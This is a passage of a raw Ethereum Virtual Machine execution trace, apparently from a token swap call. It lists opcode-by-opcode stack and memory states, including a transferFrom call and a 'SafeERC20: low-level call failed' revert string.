"44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15137,"op":"PUSH2","gas":78714,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x0","0x2f6d","0x2","0x2","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15140,"op":"JUMPI","gas":78711,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x0","0x2f6d","0x2","0x2","0x0","0x1","0x3b2c"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15148,"op":"JUMPDEST","gas":78701,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x0","0x2f6d","0x2","0x2","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15149,"op":"POP","gas":78700,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x0","0x2f6d","0x2","0x2","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15150,"op":"SUB","gas":78698,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x0","0x2f6d","0x2","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15151,"op":"SWAP1","gas":78695,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x0","0x2f6d","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15152,"op":"JUMP","gas":78692,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x0","0x0","0x2f6d"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12141,"op":"JUMPDEST","gas":78684,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12142,"op":"DUP9","gas":78683,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12143,"op":"LT","gas":78680,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x0","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12144,"op":"PUSH2","gas":78677,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12147,"op":"JUMPI","gas":78674,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x0","0x0","0x2f79"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12148,"op":"DUP9","gas":78664,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6